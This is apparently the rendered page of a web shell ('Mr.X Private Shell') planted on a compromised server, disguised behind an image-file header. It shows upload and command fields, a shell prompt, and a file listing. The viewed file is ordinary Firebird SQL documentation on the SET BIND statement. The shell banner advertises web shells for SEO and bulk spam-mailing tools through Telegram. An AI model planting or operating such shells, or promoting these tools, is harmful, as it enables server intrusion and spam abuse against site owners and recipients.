����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# SQL Language Extension: SET BIND

##	Implements capability to setup columns coercion rules in current session.


### Author:

	Alex Peshkoff <peshkoff@mail.ru>


### Syntax is:

```sql
SET BIND OF { type-from | TIME ZONE } TO { type-to | LEGACY | EXTENDED | NATIVE };
```

### Description:

Makes it possible to define rules of describing types of returned to the client columns in non-standard way -
`type-from` is replaced with `type-to`, automatic data coercion takes place.

When incomplete type definition is used (i.e. `CHAR` instead `CHAR(n)`) in left part of `SET BIND` coercion
will take place for all `CHAR` columns, not only default `CHAR(1)`. Special incomplete type `TIME ZONE`
stands for all types (namely TIME & TIMESTAMP) WITH TIME ZONE.
When incomplete type definiton is used in right side of the statement (TO part) firebird engine will define missing
details about that type automatically based on source column.

Changing bind of any NUMERIC/DECIMAL does not affect appropriate underlying integer type. On contrary,
changing bind of integer datatype also affects appropriate NUMERICs/DECIMALs.

Special `TO` part format `LEGACY` is used when datatype, missing in previous FB version, should be represented in
a way, understandable by old client software (may be with some data losses). The following coercions are done for
legacy datatypes:

| Native datatype          | Legacy datatype             |
|--------------------------|-----------------------------|
| BOOLEAN                  | CHAR(5)                     |
| DECFLOAT                 | DOUBLE PRECISION            |
| INT128                   | BIGINT                      |
| TIME WITH TIME ZONE      | TIME WITHOUT TIME ZONE      |
| TIMESTAMP WITH TIME ZONE | TIMESTAMP WITHOUT TIME ZONE |

Using `EXTENDED` in the `TO` part directs firebird engine to coerce to extended form of `FROM` datatype.
Currently it works only for TIME/TIMESTAMP WITH TIME ZONE - they are coerced to EXTENDED TIME/TIMESTAMP WITH TIME ZONE
appropriately.

Setting `NATIVE` means `type` will be used as if there were no previous rules for it.

Except SQL-statement there are two more ways to specify data coercion - tag `isc_dpb_set_bind` in DPB
and `DataTypeCompatibility` parameter in firebird.conf & databases.conf. The later the rule is introduced
(.conf->DPB->SQL) the higher priotiy it has.
I.e. one can override .conf in any other way and DPB from SQL statement.

Value of clumplet with `isc_dpb_set_bind` tag in DPB should be specified as a set of partially
formed SET BIND statements, i.e. with prefix SET BIND OF is omitted, separated by semicolons.
For example:
```c++
dpb->insertString(&status, isc_dpb_set_bind, "decfloat to char; int128 to char");
```

`DataTypeCompatibility` is minor firebird version for which we want to provide some compatibility
regarding data types. That compatibility may be not absolute - for example SET BIND can't care about type
of particular SQL functions. The following types will be described in legacy form when `DataTypeCompatibility=3.0`:
DECFLOAT, INT128 and TIME(STAMP) WITH TIME ZONE. When `DataTypeCompatibility=2.5` in addition to this list
BOOLEAN will be described as legacy type as well.

Only fields returned by database engine in regular messages are modified according to SET BIND rules.
Variables returned by getting slice of an array are not affected by SET BIND statement.


### SQL Samples:

```sql
SELECT CAST('123.45' AS DECFLOAT(16)) FROM RDB$DATABASE;	--native
```
```
                   CAST
=======================
                 123.45
```

```sql
SET BIND OF DECFLOAT TO DOUBLE PRECISION;
SELECT CAST('123.45' AS DECFLOAT(16)) FROM RDB$DATABASE;	--double
```
```
                   CAST
=======================
      123.4500000000000
```

```sql
SET BIND OF DECFLOAT(34) TO CHAR;
SELECT CAST('123.45' AS DECFLOAT(16)) FROM RDB$DATABASE;	--still double
```
```
                   CAST
=======================
      123.4500000000000
```

```sql
SELECT CAST('123.45' AS DECFLOAT(34)) FROM RDB$DATABASE;	--text
```
```
CAST
==========================================
123.45
```

In a case of missing ICU on client:
```sql
SELECT CURRENT_TIMESTAMP FROM RDB$DATABASE;
```
```
                                        CURRENT_TIMESTAMP
=========================================================
2020-02-21 16:26:48.0230 GMT*
```
```sql
SET BIND OF TIME ZONE TO EXTENDED;
SELECT CURRENT_TIMESTAMP FROM RDB$DATABASE;
```
```
                                        CURRENT_TIMESTAMP
=========================================================
2020-02-21 19:26:55.6820 +03:00
```

Filemanager

Name Type Size Permission Actions
README.PSQL_stack_trace.txt File 1.96 KB 0644
README.aggregate_filter.md File 941 B 0644
README.aggregate_tracking File 3.88 KB 0644
README.alternate_string_quoting.txt File 846 B 0644
README.autonomous_transactions.txt File 1.31 KB 0644
README.blob_append.md File 4.99 KB 0644
README.builtin_functions.txt File 29.49 KB 0644
README.case File 1.71 KB 0644
README.coalesce File 1.04 KB 0644
README.column_type_psql.txt File 871 B 0644
README.common_table_expressions File 4.78 KB 0644
README.context_variables File 4.66 KB 0644
README.context_variables2 File 8.47 KB 0644
README.cumulative_roles.txt File 2.27 KB 0644
README.current_time File 814 B 0644
README.cursor_variables.txt File 2.75 KB 0644
README.cursors File 2.43 KB 0644
README.data_type_results_of_aggregations.txt File 1.56 KB 0644
README.data_types File 8.31 KB 0644
README.db_triggers.txt File 1.8 KB 0644
README.ddl.txt File 22.52 KB 0644
README.ddl_access.txt File 1.53 KB 0644
README.ddl_triggers.txt File 11.67 KB 0644
README.default_parameters File 1.91 KB 0644
README.derived_tables.txt File 2.69 KB 0644
README.distinct File 813 B 0644
README.domains_psql.txt File 933 B 0644
README.exception_handling File 2.44 KB 0644
README.execute_block File 1.45 KB 0644
README.execute_statement File 4.24 KB 0644
README.execute_statement2 File 9.54 KB 0644
README.explicit_locks File 5.91 KB 0644
README.expression_indices File 1.3 KB 0644
README.external_connections_pool File 4.31 KB 0644
README.floating_point_types.md File 2.33 KB 0644
README.global_temporary_tables File 3.43 KB 0644
README.hex_literals.txt File 1.13 KB 0644
README.identity_columns.txt File 3.24 KB 0644
README.iif File 541 B 0644
README.isc_info_xxx File 3.61 KB 0644
README.joins.txt File 1.23 KB 0644
README.keywords File 5.26 KB 0644
README.leave_labels File 1.68 KB 0644
README.length File 486 B 0644
README.linger File 1.34 KB 0644
README.list File 1.04 KB 0644
README.management_statements_psql.md File 925 B 0644
README.mapping.html File 14.91 KB 0644
README.merge.txt File 1.77 KB 0644
README.null_value File 23 B 0644
README.nullif File 611 B 0644
README.offset_fetch.txt File 1.69 KB 0644
README.order_by_expressions_nulls File 1.67 KB 0644
README.packages.txt File 5.12 KB 0644
README.plan File 3.49 KB 0644
README.regr_functions.txt File 1.14 KB 0644
README.returning File 2.91 KB 0644
README.rows File 1.34 KB 0644
README.savepoints File 4.08 KB 0644
README.scrollable_cursors.txt File 3.06 KB 0644
README.select_expressions File 2.18 KB 0644
README.sequence_generators File 1.68 KB 0644
README.set_bind.md File 4.49 KB 0644
README.set_role File 768 B 0644
README.set_transaction.txt File 1.63 KB 0644
README.similar_to.txt File 9.53 KB 0644
README.sql_security.txt File 5.51 KB 0644
README.statistical_functions.txt File 1.6 KB 0644
README.subroutines.txt File 4.23 KB 0644
README.substring_similar.txt File 1.2 KB 0644
README.time_zone.md File 14.34 KB 0644
README.trim File 997 B 0644
README.universal_triggers File 2.77 KB 0644
README.update_or_insert File 1.38 KB 0644
README.user_management File 4.43 KB 0644
README.view_updates File 23 B 0644
README.window_functions.md File 14.92 KB 0644